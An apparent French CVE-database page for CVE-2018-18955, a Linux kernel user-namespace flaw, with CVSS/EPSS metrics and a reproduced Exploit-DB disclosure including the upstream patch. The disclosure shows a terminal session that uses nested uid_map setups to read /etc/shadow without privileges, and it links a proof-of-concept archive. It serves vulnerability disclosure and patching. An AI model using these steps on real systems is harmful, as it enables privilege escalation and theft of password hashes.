CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
In the Linux kernel 4.15.x through 4.19.x before 4.19.2, map_write() in kernel/user_namespace.c allows privilege escalation because it mishandles nested user namespaces with more than 5 UID or GID ranges. A user who has CAP_SYS_ADMIN in an affected user namespace can bypass access controls on resources outside the namespace, as demonstrated by reading /etc/shadow. This occurs because an ID transformation takes place properly for the namespaced-to-kernel direction but not for the kernel-to-namespaced direction.
Incorrect Authorization The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V3.0
7
HIGH
CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Local
A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.
Attack Complexity
This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.
High
A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
Low
The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.
User Interaction
This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.
Scope
Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.
Unchanged
An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.
Base: Impact Metrics
The Impact metrics refer to the properties of the impacted component.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.
Environmental Metrics
nvd@nist.gov
V2
4.4
AV:L/AC:M/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2021-04-18
52.93%
–
–
–
–
2021-09-05
–
52.93%
–
–
–
2022-01-09
–
52.93%
–
–
–
2022-02-06
–
–
13.15%
–
–
2022-04-03
–
–
13.15%
–
–
2022-05-15
–
–
12.63%
–
–
2023-02-26
–
–
12.63%
–
–
2023-03-12
–
–
–
0.09%
–
2023-06-18
–
–
–
0.09%
–
2023-07-02
–
–
–
0.09%
–
2023-07-09
–
–
–
0.09%
–
2023-11-12
–
–
–
0.11%
–
2024-02-11
–
–
–
0.11%
–
2024-06-02
–
–
–
0.11%
–
2024-08-11
–
–
–
0.11%
–
2024-12-08
–
–
–
0.11%
–
2024-12-22
–
–
–
0.13%
–
2024-12-29
–
–
–
0.13%
–
2025-03-16
–
–
–
0.13%
–
2025-01-19
–
–
–
0.13%
–
2025-03-18
–
–
–
–
8.81%
2025-04-06
–
–
–
–
8.98%
2025-04-06
–
–
–
–
8.98,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2018-11-15 23h00 +00:00 Auteur : Google Security Research EDB Vérifié : Yes
commit 6397fac4915a ("userns: bump idmap limits to 340") increases the number of
possible uid/gid mappings that a namespace can have from 5 to 340. This is
implemented by switching to a different data structure if the number of mappings
exceeds 5: Instead of linear search over an unsorted array of struct
uid_gid_extent, binary search over a sorted array of struct uid_gid_extent is
used. Because ID mappings are queried in both directions (kernel ID to
namespaced ID and namespaced ID to kernel ID), two copies of the array are
created, one per direction, and they are sorted differently.
In map_write(), at first, during the loop that calls insert_extent(), the member
lower_first of each struct uid_gid_extent contains an ID in the parent
namespace. Later, map_id_range_down() is used in a loop to replace these IDs in
the parent namespace with kernel IDs.
The problem is that, when the two sorted arrays are used, the new code omits the
ID transformation for the kernel->namespaced mapping; only the
namespaced->kernel mapping is transformed appropriately.
This means that if you first, from the init namespace, create a user namespace
NS1 with the following uid_map:
0 100000 1000
and then, from NS1, create a nested user namespace NS2 with the following
uid_map:
0 0 1
1 1 1
2 2 1
3 3 1
4 4 1
5 5 995
then make_kuid(NS2, ...) will work properly, but from_kuid(NS2) will be an
identity mapping for UIDs in the range 0..1000.
Most users of from_kuid() are relatively boring, but kuid_has_mapping() is used
in inode_owner_or_capable() and privileged_wrt_inode_uidgid(); so you can abuse
this to gain the ability to override DAC security controls on files whose IDs
aren't mapped in your namespace.
To test this, I installed the "uidmap" package in a Ubuntu 18.04 VM with the
following /etc/subuid and /etc/subgid:
user@ubuntu-18-04-vm:~$ cat /etc/subuid
user:100000:65536
user2:165536:65536
user3:231072:65536
user@ubuntu-18-04-vm:~$ cat /etc/subgid
user:100000:65536
user2:165536:65536
user3:231072:65536
user@ubuntu-18-04-vm:~$
Then, as the user "user", I compiled the two attached helpers (subuid_shell.c
and subshell.c):
user@ubuntu-18-04-vm:~/userns_4_15$ gcc -o subuid_shell subuid_shell.c
user@ubuntu-18-04-vm:~/userns_4_15$ gcc -o subshell subshell.c
subuid_shell.c uses the newuidmap helper to set up a namespace that maps 1000
UIDs starting at 100000 to the namespaced UID 0; subshell.c requires namespaced
CAP_SYS_ADMIN and creates a user namespace that maps UIDs 0-999, using six
extents.
I used them as follows to read /etc/shadow:
user@ubuntu-18-04-vm:~/userns_4_15$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
user@ubuntu-18-04-vm:~/userns_4_15$ ls -l /etc/shadow
-rw-r----- 1 root shadow 1519 Jul 4 16:11 /etc/shadow
user@ubuntu-18-04-vm:~/userns_4_15$ head -n1 /etc/shadow
head: cannot open '/etc/shadow' for reading: Permission denied
user@ubuntu-18-04-vm:~/userns_4_15$ ./subuid_shell
root@ubuntu-18-04-vm:~/userns_4_15# id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
root@ubuntu-18-04-vm:~/userns_4_15# cat /proc/self/uid_map
0 100000 1000
root@ubuntu-18-04-vm:~/userns_4_15# ls -l /etc/shadow
-rw-r----- 1 nobody nogroup 1519 Jul 4 16:11 /etc/shadow
root@ubuntu-18-04-vm:~/userns_4_15# head -n1 /etc/shadow
head: cannot open '/etc/shadow' for reading: Permission denied
root@ubuntu-18-04-vm:~/userns_4_15# ./subshell
nobody@ubuntu-18-04-vm:~/userns_4_15$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
nobody@ubuntu-18-04-vm:~/userns_4_15$ cat /proc/self/uid_map
0 0 1
1 1 1
2 2 1
3 3 1
4 4 1
5 5 995
nobody@ubuntu-18-04-vm:~/userns_4_15$ ls -l /etc/shadow
-rw-r----- 1 root shadow 1519 Jul 4 16:11 /etc/shadow
nobody@ubuntu-18-04-vm:~/userns_4_15$ head -n1 /etc/shadow
root:!:17696:0:99999:7:::
nobody@ubuntu-18-04-vm:~/userns_4_15$
Here is a suggested patch (copy attached to avoid whitespace issues); does this
look sensible?
==================
From 20598025d5e80f26a0c4306ebeca14b31539bd97 Mon Sep 17 00:00:00 2001
From: Jann Horn <jannh@google.com>
Date: Mon, 5 Nov 2018 20:55:09 +0100
Subject: [PATCH] userns: also map extents in the reverse map to kernel IDs
The current logic first clones the extent array and sorts both copies, then
maps the lower IDs of the forward mapping into the lower namespace, but
doesn't map the lower IDs of the reverse mapping.
This means that code in a nested user namespace with >5 extents will see
incorrect IDs. It also breaks some access checks, like
inode_owner_or_capable() and privileged_wrt_inode_uidgid(), so a process
can incorrectly appear to be capable relative to an inode.
To fix it, we have to make sure that the "lower_first" members of extents
in both arrays are translated; and we have to make sure that the reverse
map is sorted *after* the translation (since otherwise the translation can
break the sorting).
This is CVE-2018-18955.
Fixes: 6397fac4915a ("userns: bump idmap limits to 340")
Cc: stable@vger.kernel.org
Signed-off-by: Jann Horn <jannh@google.com>
---
kernel/user_namespace.c | 12 ++++++++----
1 file changed, 8 insertions(+), 4 deletions(-)
diff --git a/kernel/user_namespace.c b/kernel/user_namespace.c
index e5222b5fb4fe..923414a246e9 100644
--- a/kernel/user_namespace.c
+++ b/kernel/user_namespace.c
@@ -974,10 +974,6 @@ static ssize_t map_write(struct file *file, const char __user *buf,
if (!new_idmap_permitted(file, ns, cap_setid, &new_map))
goto out;
- ret = sort_idmaps(&new_map);
- if (ret < 0)
- goto out;
-
ret = -EPERM;
/* Map the lower ids from the parent user namespace to the
* kernel global id space.
@@ -1004,6 +1000,14 @@ static ssize_t map_write(struct file *file, const char __user *buf,
e->lower_first = lower_first;
}
+ /*
+ * If we want to use binary search for lookup, this clones the extent
+ * array and sorts both copies.
+ */
+ ret = sort_idmaps(&new_map);
+ if (ret < 0)
+ goto out;
+
/* Install the map */
if (new_map.nr_extents <= UID_GID_MAP_MAX_BASE_EXTENTS) {
memcpy(map->extent, new_map.extent,
--
2.19.1.930.g4563a0d9d0-goog
==================
(By the way: map_id_up_max() is probably pretty inefficient, especially when
retpoline mitigations are on, because it uses bsearch(), which is basically a
little bit of logic glue around indirect function calls. If you care about
speed, you might want to add an inline variant of bsearch() for places like
this.)
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45886.zip